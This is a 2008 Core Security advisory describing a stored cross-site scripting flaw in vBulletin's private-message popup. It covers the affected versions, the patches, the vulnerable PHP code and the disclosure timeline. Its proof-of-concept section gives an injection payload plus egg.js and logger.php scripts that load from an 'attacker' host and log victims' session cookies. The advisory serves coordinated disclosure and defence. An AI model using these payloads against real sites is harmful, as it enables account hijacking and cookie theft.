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Advisory Information

Title: vBulletin Cross Site Scripting Vulnerability
Advisory ID: CORE-2008-0813
Advisory URL: http://www.coresecurity.com/content/vbulletin-cross-site-scripting-vulnerability
Date published: 2008-08-20
Date of last update: 2008-08-20
Vendors contacted: vBulletin team
Release mode: Coordinated release

Vulnerability Information

Class: XSS flaw
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID:
CVE Name:

Vulnerability Description

vBulletin [1] is a community forum solution for a wide range of users, including industry leading companies. A XSS vulnerability has been discovered that could allow an attacker to carry out an action impersonating a legal user, or to obtain access to a user's account. This flaw allows unauthorized disclosure and modification of information, and it allows disruption of service.

Vulnerable packages

vBulletin 3.7.2 Patch Level 1.

vBulletin 3.6.10 Patch Level 3.

Older versions are probably affected too, but they were not checked.

Non-vulnerable packages

vBulletin 3.7.2 Patch Level 2.

vBulletin 3.6.10 Patch Level 4.

Vendor Information, Solutions and Workarounds

vBulletin team has released patches for this flaw (see [2]), and new fixed versions of vBulletin (3.6.11 and 3.7.3) will be available on Tuesday, August 26th. Refer to [3] for more details.

Credits

This vulnerability was discovered and researched by Federico Muttis from Core Security Technologies.

Technical Description / Proof of Concept Code

This is a Cross Site Scripting (XSS) vulnerability within vBulletin community forum solution. In order to exploit this flaw the following option needs to be activated: http://victim/vBulletin/profile.php?do=editoptions (Show New Private Message Notification Pop-Up enabled). There are many forums with this option enabled by default for all new users.

The title is not being encoded in the following rendered HTML code:

<!-- // script to show new private message popup if (confirm("You have a new private message.\n\nSender: [SENDER_USERNAME]\nTitle: '[PRIVATE_MESSAGE_TITLE]'\n\nClick OK to view it, or cancel to hide this prompt.")) { // Output when OK is clicked if (confirm("Open the message in a new window?\n\n(Press cancel to open in the current window.)")) { var winobj = window.open("private.php?do=showpm&pmid=[PRIVATE_MESSAGE_ID]", "pmnew", "statusbar=yes,menubar=yes,scrollbars=yes,toolbar=yes,location=yes,directories=yes,resizable=yes,top=50,left=50"); if (winobj == null) { alert("Unable to open a new browser window,\n This might be due to a 'popup blocker'"); } } else { window.location = "private.php?do=showpm&pmid=[PRIVATE_MESSAGE_ID]"; } } // end pm popup script //-->

The variable $newpm[title] in install/vbulletin-style.xml was previously de-sanitized in global.php and only slash-escaping survives:

// ############################################################################# // get new private message popup $shownewpm = false; if ($vbulletin->userinfo['pmpopup'] == 2 AND $vbulletin->options['checknewpm'] AND $vbulletin->userinfo['userid'] AND !defined('NOPMPOPUP')) { $userdm =& datamanager_init('User', $vbulletin, ERRTYPE_SILENT); $userdm->set_existing($vbulletin->userinfo); $userdm->set('pmpopup', 1); $userdm->save(true, 'pmpopup'); // 'pmpopup' tells db_update to issue a shutdownquery of the same name unset($userdm); if (THIS_SCRIPT != 'private' AND THIS_SCRIPT != 'login') { $newpm = $db->query_first(" SELECT pm.pmid, title, fromusername FROM " . TABLE_PREFIX . "pmtext AS pmtext LEFT JOIN " . TABLE_PREFIX . "pm AS pm USING(pmtextid) WHERE pm.userid = " . $vbulletin->userinfo['userid'] . " AND pm.folderid = 0 ORDER BY dateline DESC LIMIT 1"); $newpm['username'] = addslashes_js(unhtmlspecialchars($newpm['fromusername'], true), '"'); $newpm['title'] = addslashes_js(unhtmlspecialchars($newpm['title'], true), '"'); $shownewpm = true; } }

Which of course allows XSS attacks.

The 'alert' Proof of Concept (PoC) exploit would be to write a PM (private message) to the user you want to attack with this subject:

--></script><script>alert(/xss/.source)</script><!--

The admin impersonification exploit PoC (Working on IE6 Only) would be:

--></script><script src="http:"//attacker/vbStealer/egg.js></script><!--

Where the egg.js script file is:

// == XSS - Cookie stealing - vBulletin 3.7.2 PL1 == // // Using the first method described in // http://www.securityfocus.com/archive/107/308433 // // To bypass HttpOnly cookie restrictions - Works in IE 6 and lower var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); XmlHttp.open("GET","http://victim/vbStealer/logger.php",false); XmlHttp.setRequestHeader("Host","attacker"); XmlHttp.send();

and the logger.php script file:

<? // == XSS - Cookie stealing - vBulletin 3.7.2 PL1 == $all_cookies = ""; foreach ($_COOKIE as $cookie_name => $cookie_value) { $all_cookies .= "$cookie_name=$cookie_value, "; } rtrim($all_cookies, ", "); file_put_contents("iplog.txt", "COOKIES: ".$all_cookies."\n", FILE_APPEND); ?>

Report Timeline

• 2008-08-14: Core Security Technologies notifies the vBulletin team of the vulnerability.
• 2008-08-14: The vBulletin team asks Core for a technical description of the vulnerability.
• 2008-08-14: Technical details sent to vBulletin team by Core.
• 2008-08-15: vBulletin notifies Core that a fix has been produced and will be available to the users on Monday, August 18th.
• 2008-08-18: vBulletin releases patches for this flaw to its customers.
• 2008-08-20: The advisory CORE-2008-0813 is published.

References

[1] http://www.vbulletin.com/

[2] http://members.vbulletin.com/patches.php

[3] http://www.vbulletin.com/forum/showthread.php?t=282133

About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://www.coresecurity.com/corelabs/.

About Core Security Technologies

Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security Technologies augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at http://www.coresecurity.com.

Disclaimer

The contents of this advisory are copyright (c) 2008 Core Security Technologies and (c) 2008 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc.

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